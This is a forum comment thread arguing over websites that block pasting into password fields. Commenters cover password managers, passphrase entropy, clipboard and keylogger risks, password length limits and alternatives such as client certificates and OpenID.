Use a password manager. KeepassX is free, cross-platform, works on phones, does all that work for you, secures even your least-valuable accounts, does things right, doesn't store your passwords "in the cloud" and you'll get to keep applying your scheme to your master password.
And some people run marathons when they have a perfectly serviceable automobile. Remembering many passwords is not particularly remarkable. I am far more impressed by those who [uselessly] memorize thousands of digits of pi.
Why would anyone do that, when those digits can so easily be calculated or referenced from data files? Why do anything that is not strictly necessary? Why try to bench press more weight than last time? Why try to improve your chess game? Why learn a new programming language?
Because different people like different things. I am not required to like the things you like.
And I like proving to myself that I still can remember things without a helper daemon to keep track of them for me. I like that little bit of paranoid fantasy I have that makes me think that the men in black suits would have to take the pipe wrench to my kneecaps to get at my passwords, so I don't think about how the security at all these sites requiring password is so piss-poor that it would be easier to bypass all passwords in lieu of cracking just one of mine. In the end, the problem mentioned by the article is that very few people implementing computer security measures have any idea how to truly secure their data, so they do stupid shit like block clipboard pasting into password entry fields, or allow accounts to be hijacked by a spoofed SMS 2nd factor, or try to roll their own crypto without the requisite number of CS and math PhDs.
Yes, you could. That would be easier to remember, but also easier to guess. If your phrase is long enough, and unique enough, that wouldn't matter. The mere threat that it could be any character is enough to discourage most attackers.
Probably the best argument against spaces is the attack that listens to the sounds of your keyboard with a microphone as you type. As the space bar is a larger key, it sounds a distinctively lower note as you type, and would give even an unsophisticated attacker the means to determine the word lengths in your passphrase, which might reduce its entropy to something guessable within the lifespan of the universe.
Probably not a concern unless you might be targeted by someone with government-level resources.
I don’t have a problem with passphrases per se, but when people make them up via their noggin, they aren’t random and aren’t likely to include many obscure words. Using only common words dramatically reduces entropy. E.g., there are only 1 trillion passphrases of 4 words that can be constructed with the 1000 most common words, but a 12-character passphrase pulling from alphanumerics and the ~16 punctuation characters on your keyboard yield 50 sextillion permutations. That’s 50 thousand billion billion.
The argument I am making is that your average passphrase — yes, including "correct horse battery staple" — could be cracked a trillion times over before a password generated via 1Password would be!
"Dictionary attacks" aren't a magic spell. They're a form of brute forcing, as you seem to be aware.
If you're using about 8000 words, randomly chosen, then a 4 word passphrase is about the same as an 8 character random password. (And in fact, for 8k words, it's basically a direct substitution between 2 characters and 1 word.)
For most intents and purposes, 8-10 characters is fine, and 20 characters is enough to use as a cryptographic key. Similarly, 4-5 words is fine for most uses, and 10 words is enough to use as a cryptographic key.
So I'm not sure what you think isn't effective about passphrases -- they're just using a 2^13 sized alphabet instead of a 2^6.5 one, but either is capable of being used to write down a random string of bits.
> Justification 1: 'Password pasting allows brute force attacks'
This really pisses me off every time I see it.
JavaScript is client-side code. If the attacker you're protecting against can't trivially bypass this bullshit "security" feature in three seconds, then he/she is not something you should be concerned about.
Attackers like that probably have other skills like counting to 5 with a 60% accuracy, and pointing out their own nose with a 40% accuracy. (Just like you do if you have this on your website.)
Here's another weird restriction: password length limits. I've had websites tell me I can't use more than 8 or 16 characters. Even if they let me use a thousand characters that's just going to get hashed to the same length anyway, right?
Even worse: sites that silently truncate your pasted password to the maximum length. When all you see is those little dots and the password is wider than the text field, it's very difficult or perhaps even impossible to tell how many characters were successfully pasted. And obviously truncation sets you up for disaster when you try to log in using your saved password and it just doesn't work.
> Even if they let me use a thousand characters that's just going to get hashed to the same length anyway, right?
That assumes they're not storing your password in a VARCHAR(16) field, which is what I always assume when I see a max password length restriction like this. Or perhaps they're using the ridiculous LANMan hash algorithm [1].
So the main complaint about SPP is that it screws password managers, but then there's this:
> Most password managers erase the clipboard as soon as they have pasted your password into the website, and some avoid the clipboard completely by typing in the password with a 'virtual keyboard' instead.
Isn't the latter approach much safer? If so, shouldn't it be the de facto standard since it prevents "clipboard stealing" and also removes the issue of not being able to paste content into an SPP form input?
Allowing apps to create virtual keyboards with which they may manipulate all other apps might not be a good idea. That's why it won't work with Wayland for example.
I mean your password manager already has all your passwords. The argument can be made that you can trust the man who already has a knife to your throat.
Chase.com is one of the worst. The desktop version of the site does all sorts of browser fingerprinting with javascript. It does things like tries opening up websockets to random local ports, and stuff like that.
I had to just throw up my hands and do all of my access to chase.com through a sandboxed browser profile, where I could automate logins.
> Chase.com is one of the worst. The desktop version of the site does all sorts of browser fingerprinting with javascript. It does things like tries opening up websockets to random local ports, and stuff like that.
I'm not fond of this, but what does it have to do with passwords? I (reluctantly) use Chase's online banking on the desktop, and it lets me paste passwords.
This is an incredibly frustrating thing with the way OS X handles encrypted disk images as well. Needing to share confidential documents with coworkers, we were hoping to store them in an encrypted disk image. (GPG proved way too complex for anyone to adopt) Of course, the standard OS X GUI prevents you from pasting a password when mounting, which of course led to coworkers resorting to short, easy to type, easy to remember (and easy to crack) passwords.
The best solution I found was to mount via the command line but that definitely wasn't an option for any coworker unfamiliar with the terminal.
Also while this may be ultra paranoid, I really don't like typing passwords in public places where endless he cameras can record my screen and keystrokes.
Yes!! Ditto on the weirdness of not allowing to paste from the clipboard to decrypt a hard drive on OS X.
It's like it's on purpose to make you save the password on the keychain or to make it more predictable somehow. I think that's either a very bad decision or evidence of NSA/CIA infiltration/influencing of Apple's software
As irritating as this is my bank's app which implements its own soft keyboard, so not only can I not paste my (complex) banking password, the password manager doesn't recognise it as an input.
Since I can't have the password visible in the password manager on the phone at the same time as the login prompt in the app, this means that I can only use the bank app if I'm 1) next to another device I can get that password on or 2) if I write the password down on something.
Issues like this (including SPP) have forced me to start using sequences of randomly generated words/phonetics for specific websites. It's not ideal, but it allows me to function.
If you're on Mac OS, there's a nice little app I use to bypass almost any mechanism of preventing pasting. It simply uses a virtual keyboard to type out the contents of your clipboard. http://dae.me/blog/1741/
If it didn't point crackers to these sites, I would love to call out all the sites that do incredibly misguided things such as:
- Allow you to paste passwords into their smartphone app, but not into their web site being accessed from the same device.
- When entering new passwords, limit the password length but not tell you what the limit is ("password is too long"), so you have to reduce it 1 character at a time and keep trying.
- (Mentioned elsewhere in this post) Limit the special characters to some inexplicable subset like !@#$, so you have to edit your generated random password and replace the non-compliant characters with ones from their subset.
- Limit password lengths to (say) 20 characters, allow you to enter a new 20 character password, but only store the first 19 characters so you get an invalid password error when you subsequently log in! I figured it out because I knew I was pasting the correct password, so I just thought, "Hmm, UI team != DB team..." and tried one less character. Bingo.
This happened to me with an old version of (IIRC) a Bank of America iOS online banking app (I am not concerned about mentioning a name here because it's been fixed since then).
- Limit your password to something really short like 10 alphanumerics.
- Require password entry for (say) iCloud before you can get into your password manager, forcing you either to pull up the password on another device and painstakingly enter by hand a 30 character random string, including many special characters, and not letting you see the password (only the last character, for a second). This is so unpleasant that I am sure many people would just change the password to their dog's name or something.
Some of these are actual reasons why I don't use password managers. I'd rather have the convenience of being able to quickly type in a password that I can easily remember than have to worry about which special characters I'm using or manually typing in an insane hash.
That is true, and a valid point. But preventing pasting here will still discourage the use of password managers. I ask my password manager for a new, very long, and very difficult to type password. I paste it twice.
It's a shame that password managers are mostly used by tech savvy people, as they are probably the most secure way to deal with passwords we've come up with so far.
I think the use cases there is more accurately, if the user doesn't paste into the first box AND copies the content, don't let them paste into the second.
I would paste into both boxes and resort to developer tools if I am not allowed.
That's fine. They can still reset their password and type it in properly. It's a minor inconvenience for the really, really rare use case where this happens. For one, you can't copy from a password field so it would have to be typed and copied from an external source. As long as it doesn't leave them in a locked-out state, I see no issues with this.
I find the issue around clipboard security a bit disturbing. No program should be able to access the clipboard at will, it should only get the data there if the user pastes it in the application. This is a bit harder at the API level, but I think a good environment would do this right. It's like the security holes in X that are being closed with Wayland.
As someone who has used password managers and exceedingly long, impossible to remember and cryptic passwords for years; this quite upsets me when sites prevent it
The only scenario I can accept paste-blocking is double-field password creation. At least one should refuse paste, just to make sure I haven't copied the wrong string.
Whilst we're on the topic: I hate stupid input fields that don't ignore whitespace and have a maximum number of characters. So you paste the space-separated number (I'm looking at you IBAN), get an exception because of the spaces, go back and remove them, get another exception, and then realise that the number was truncated due to the field length restriction applied on paste. ARGHHHHHH
>At least one should refuse paste, just to make sure I haven't copied the wrong string.
I disagree with this. If you paste a password into both fields, then paste it into your password manager, it doesn't matter if you've copied the wrong thing, because your password manager will still remember it.
I think it's a combination the "Justification 3" in the article (having passwords stick around in the clipboard could be an issue) and maybe the idea by some people that passwords should be memorized and never written down anywhere.
Maybe they're worried people will have a "password.txt" in My Documents where they store all their passwords in cleartext. That being said it'd still probably would be more secure than having the same password everywhere like most people seem to do.
The road to (UI design) hell is paved with good intentions.
Until password managers are ubiquitously integrated with mobile apps, we are forced to use the clipboard to transfer passwords. Unfortunately, any app can access the clipboard, revealing passwords. Copying passwords from 1password always feels dirty for this reason, and unfortunately I don't have a good solution to this problem.
Please correct me if I'm wrong, as this is all conjecture.
I feel passwords used to be thought of as a combination of characters that you keep in your head, and should only leave your head when being entered in a password field. Preventing paste discourages storing your password in a file called passwords.txt, and accidentally pasting it somewhere else as well.
Of course, we now understand passwords should have some qualities (larger alphabet, avoid common words/phrases as your passwords) which go against ease of remembering, so we now use passwords managers and other tools.
So this behaviour is probably and old common practice that most people used without knowing why and that's why we still see it even if its outdated and harms security in the end
Passwords operate under the principle "something you know". (Unfortunately operating under this principle on the Internet is quite hard, but that's a different story). When you save passwords somewhere it's no longer with the assumption of being just "something you know", but more "something you have". Of course passwords are even less apt as "something you have", because they are hard to secure, both in storage and in use.
Nothing has fundamentally changed. That people can't imagine why someone would want to keep passwords "something you know" is because they don't understand they theory behind passwords. A password manager might seem like a solution, but in reality what you're getting is the worst of both worlds. You don't get the security of "something you have", like a key that can be stored in hardware and verified with disclosing it to the host. Nor do you get the flexibility, at least not as a user, of "something you know".
I actually think it would be a great idea to block password managers and offer an alternative protocol for authentication. That way if they want to keep their users they would have to implement that protocol. Suddenly you would have quite a lot of users using something more secure.
Could be, but it's flawed reasoning anyway. Preventing copy/paste won't prevent people from storing their passwords in passwords.txt.
Nobody other than those who use very simple, high risk passwords can remember them all. It has to be stored somewhere. Preventing copy/paste seems like a completely useless step (security wise) that only causes unnecessary bother.
Also, depending on threat model, a passwords.txt clear text file can be perfectly cromulent security that is better than many alternatives (password reuse, weak passwords). It's not going to stop people with physical access to your machine or attackers specifically targeting you looking for weaknesses in your documents. But vulnerability to some threat models is not vulnerability to all of them and it's okay to take a security stance with known vulnerabilities.
Similarly with Post-It Notes and physical written Notebooks of passwords. If your threat model isn't concerned about people with physical access to those notes, and you are comfortable with the physical security of those notes, that can be perfectly acceptable for you, and an overall better security stance from bad passwords.
"Don't write down your passwords", has always been bad advice, from that perspective. "If you write down your passwords, keep them safe" is slightly more accurate.
The idea of passwords being something you remembered, died out when we started to see a proliferation of systems needing passwords for authentication.
Humans (in general there are some exceptions) aren't very good at remembering large numbers of arbitrary long random strings.
So using a password safe and then copy/pasting into the relevant dialog is likely to be a better option than relying on human memory (which inevitably means for most people using the same password in many places)
1) In the beginning the whole X.509/PKCS PKI mechanism was seen as something that came out of X.500 and other telco stuff, is centralized, complex and expensive (all of these things are in fact true for the originally envisioned usage) and thus irrelevant for decentralized internet. (for example, the L for "Lightweight" in "LDAP" essentially means that it uses passwords instead of client side certificates)
2) The UX in early SSL capable browsers for client-side certificates was horrible (In Netscape the whole SSL configuration was in completely separate dialog from browser settings, which was incredibly complex. IE uses SSL implementation from windows which is also used for lots of other things and has centralized configuration and also even today creates confusing dialogs when site requests client certificate). It's somewhat ironic that various ActiveX/Java based replacements of this horrible UX are in fact often even more unusable.
What's really sad to me is that SPKI (RFCs 2692 & 2693) addressed centralisation, complexity and cost, and was more-or-less completely ignored. If the browser and server vendors had just supported it, I really think that it could have had a chance.
That's technically true but irrelevant: on the web, SSL came well after the initial wave of adoption and U.S. companies were restricted by law[1] from exporting strong encryption to people outside of the United States. It took awhile to get programs updated and for years it was common to see separate versions (or even third-party patch trees) on download pages.
All of that meant that someone launching a service couldn't assume that their users’ software supported encryption at all or securely for years. Coupled with the previously mentioned horrible user experience and cost of certificates, that really killed the idea since the password experience was both easier and far more familiar.
painful maintenance - most users don't want to manage certificates and crypto keys especially in a multi-device world. that's likely the main one
If you don't use a hardware module certificates are easily stolen by malware and as revokation is often problematic, stolen certs can be quite bad news.
I'm somewhat guilty of pushing the don't copy'n paste passwords (not the actual input limitation) and the reason why is because several of our guys at work have actually accidentally pasted passwords into Slack/Skype windows.
For what its worth I did write a small utility to make it easy to create memorable passwords using a master password:
The Wells Fargo CEO portal makes me change my password every 90 days, won't let me paste and accepts some special characters but not others. How is it that a bank can get it so wrong?
I'm very glad to see this advice for the NCSC, they have been taking a good practical stance on many security issues and helping to provide weight to more pragmatic approaches.
I've never actually managed to find out where the idea of websites banning copy/paste came from. Presumably it's been as a result of security audits, but I can't find any security people who would argue that it's a good idea...
Another reason SPP is less secure is keyloggers. I remember reading an article by someone that discussed this. When he visited China, he always entered passwords by copying and pasting from a secured thumb drive as this would defeat keyloggers. He mentioned that unfortunately some sites stupidly prevent this.
I can see some logic behind number 3 of having your password in the clipboard. It could lead to users pasting their password somewhere else where it was not intended. However, if you have malware on your machine that can read your clipboard, it can also simply read your keystrokes anyway.
There is another version of SPP being done by the Wells Fargo Commercial Electronic Office site, and probably others. https://wellsoffice.wellsfargo.com
It does allow you to paste into the login fields, but you cannot submit your login credentials this way because the "Sign On" button is greyed out until you've actually typed in each field. I let my password manager fill the fields, then I manually delete and re-type the last character from each of the 3 fields.
IMO, sites should generate a >20 character random base64 password as a form prefill on the registration form, which hopefully would cause browsers to remember it (don't actually let the user change this). Provide "show password" and "copy password" options for those who need to write it down for use on other machines or want to export it to a non-browser based password manager or sync tool. Encourage users to have a master password for the browser password storage.
Also, many sites should have an easy email based login.
All I can say is use keepass. Just remember one crazy long master password for the database and change it regularly. Or use a combination of password and key file.
> Justification 2: 'Pasting passwords makes them easier to forget, because you have fewer chances to practise them'.
Difficult to remember and easy to forget passwords will be auto generated. In fact I encountered few websites that didn't accept long passwords.
> Justification 3: 'Passwords would hang around in the clipboard'
Only for 12 seconds after which keepass will clear the clipboard.
I know that Battle.net does this :( I went to change my password and I couldn't paste the new one I had generated. Motivated me to install a simple Greasemonkey script to override that.
I agree with the premise. Though, there's one more issue/potential reason not to endorse people using the clipboard for passwords, and it's not that malware will grab them from the clipboard. It's that many non-malicious programs will regularly query the clipboard for legitimate reasons, but what they do with that data may be insecure. For example, think of how Pocket checks the macOS/iOS clipboard for URLs to add to the Pocket list.
Everyone's talking about password at sign-in or credit card numbers but that's not the only use case for paste restriction.
The more common place I've seen it is email address confirmation (or PW confirmation), which while probably unnecessary, is not the worst thing in the world. You are retyping an address that's displayed in the field above. Less intrusive than a captcha.
Blocking pasting in a password confirmation input accomplishes nothing because you're already blocked from copying the contents of the first password input anyways. All it does is inconvenience people who use password managers.
Just yesterday, I ran into a site that was doing this for the first time in years. It annoyed me to the point where I used the console to override it and allow pasting again.
Password managers are a thing. Please don't force me to type out 32 random symbols twice while I sign up for your service.
I've pasted my ultra long pwd in the username field and hit enter. It happened more than once on logins where the form is split into two steps (I am talking to you Google). Why do they split the u/p fields into two steps? Does it add security? Better UX?
The first login page allows you to choose from multiple accounts. But yes, this could just as easily have been done through browser auto complete, but doing it this way means Google can track/link your multiple accounts.
Only argument I can think of for preventing it in is maybe it makes it harder for bots in some cases.
The QQ messenger blocks pasting passwords on iOS I suspect for this reason, perhaps there are teams of people guessing passwords and manually typing them in like gold farming.
May i also say that the 'feature' of not allowing clipboard pasting on the Mac Os X to decrypt a hard drive is one of the most conspicuous interface decisions that I have ever seen
Forbidding copypaste is equivalent to forcing one to recite his address and credit card details loudly in public every time he wants to enter his own house. In an age where videosurveillance is trivial to set up, it's just stupid; there is a reason every cash machine/atm asks you to cover the number pad as you type your PIN.
If the problem is the risk posed by password vaults and clipboard managers, promote better vaults and better utilities. Personally, I'd love a password vault that could check which application or website I'm pasting to, blocking transmission if it looks wrong. But it's not the website's job to tell me how to manage my secrets.
I see passwords pasted into chatrooms constantly and they are often of randomly-generated form. Password manages are also, apparently, not immune to their own security issues.
The nice thing about that is it's just one site's security token to change! Compromising that single password doesn't compromise all logins, just the one.
Whereas if you reuse a password on multiple sites, and one of those sites is compromised, all of the rest of your logins are compromised.
Assuming you are creating an account, UN: Hello PW: World123
My largest issue is that its extremely possible to fat-finger your UN to be Hellow, and its extremely easy to see and fix that mistake.
However since passwords are hidden its hard to see ######## is actually Worls123. Now your new account has essentially a one-time login because you have no idea what your password is. Typing it out again, ensures you catch your mistake
Pasting the password from an authoritative source like a password manager also eliminates that mistake, and works safely whether there's a password confirmation field or not. Even better if your password manager can generate a new password, fill it into all applicable spots on a registration form and save it into its database from a single button press so you have no chance to screw anything up.
I agree. I wish there was an easy way to say "disable password hiding (always/for this session/while I'm in my current network configuration)."
I never need passwords hidden in my home. I've been in work environments where I know I'm not doing anything where I'd want passwords hidden. I especially don't want passwords hidden on my phone, where it's easy to make a typo.
OP isn't talking about password confirmation fields, which are similar to my other comment about email confirmation fields. They are talking about sign-in forms.
This is supposed to prevent keylogging.. but I think anything with that amount of access to your PC can tap into the browser to read the request before it's sent. So, probably not as good as it sounds.
It would prevent physical keyloggers (small dongles in between keyboard and computer) and possibly even RF keylogging, but yeah, it's a false sense of security.
This whole discussion is a good example for everything that's wrong with computer security. Instead of coming up with solutions that make it easy for people to follow good practices the "experts" make it even more cumbersome. Most people just want to use the computer and not think about security.
You're cherry-picking pretty heavily: there's a lot of cargo-culted password advice but the current push for user-friendlier password management practices and fundamental model changes (e.g. two-factor with U2F) has been lead by security experts who have, for many years, been loudly reminding everyone that usability is a security requirement rather than an inherent conflict.
You are probably right about cherry picking. I know a lot of experts are aware of the problems but from an end user perspective security usability is still horrible and inconsistent.
No argument there — it's really interesting seeing the divide ultimately becoming users and experts on one side and people who are not experts but are setting policies anyway on the other.
Or often managers who are very concerned about doing the right thing but don't have an expert that they know/trust and so rely on their understanding, which is probably based on the horrible finance sites they use.
I once spend several weeks having meetings where people tried to develop a login management process on a whiteboard from first-principles — in the federal government where the right answer was “We'll follow the central security group's required process” – because they didn't have a security consultant but knew security was a Really Big Deal and didn't want anyone to think they weren't thinking about it.
Your comment would be interesting if it brought some ideas to the table. Lots of people work hard to come up with ideas that strike a good balance on the really difficult trade off between security and convenience. Comments like yours that seem to imply this should be really easy, but don't provide any ideas, aren't very helpful.
If I had a good idea I would have provided it. I wish I had one.
What I am saying is that from a regular user's perspective there is no viable way to do it right and we shouldn't be surprised if people follow bad practices. We can't just tell people to:
- don't write down passowrds
- have unique strong passwords for dozens of sites
- always type them in
If you are pasting passwords, you are really using an ad hoc third-party SSO authentication provider (which may or may not also use the equivalent of 2FA) via a manual token-exhange mechanism. Better than allowing pasting passwords, just support OpenID or some similar federated authentication solution, which does the same thing without manual token exchange and the attendant opportunities for errors.
You might want to allow paste, too, but it's the clumsy solution.
>ad hoc third-party SSO authentication provider (which may or may not also use the equivalent of 2FA) via a manual token-exhange mechanism
This is a huge step up from a memorized password. Go ahead and implement OpenID too, but don't force people down to the level of memorized passwords needlessly. Expending effort to prevent pasting is a stupid move.
> Expending effort to prevent pasting is a stupid move.
Oh, I agree. I was more talking about people who have already expended that effort (so its zero marginal effort) and are considering reversing it (which as a small but non-zero cost.)
Think of it this way: passwords are a more standard API than OpenID. Since passwords are the standard, they are "implemented" by all your clients. That cannot be said for OpenID.
I'm not suggesting "don't implement passwords" (which are first-party authentication) or "don't support password pasting" (which mainly supports ad hoc third-party authentication with a manual token exchange), but if you are actively choosing to support pasting (and, thus, third-party SSO with a clumsy UI), you should also strongly consider supporting third-party authentication with a decent UI.
The password manager solution is, if you'll allow me to strain your analogy a bit, "second-party SSO". That is, it's SSO that I, the user, manage however I prefer. Password pasting is an extensible API for achieving that.
But we don't disagree, folks should definitely implement things like OpenID.
Passwords offer a much more consistent UX across sites and leave the user much more in control. Plain text is a lowest common denominator but that allows a lot of tools to work with it that can't handle fancier models.
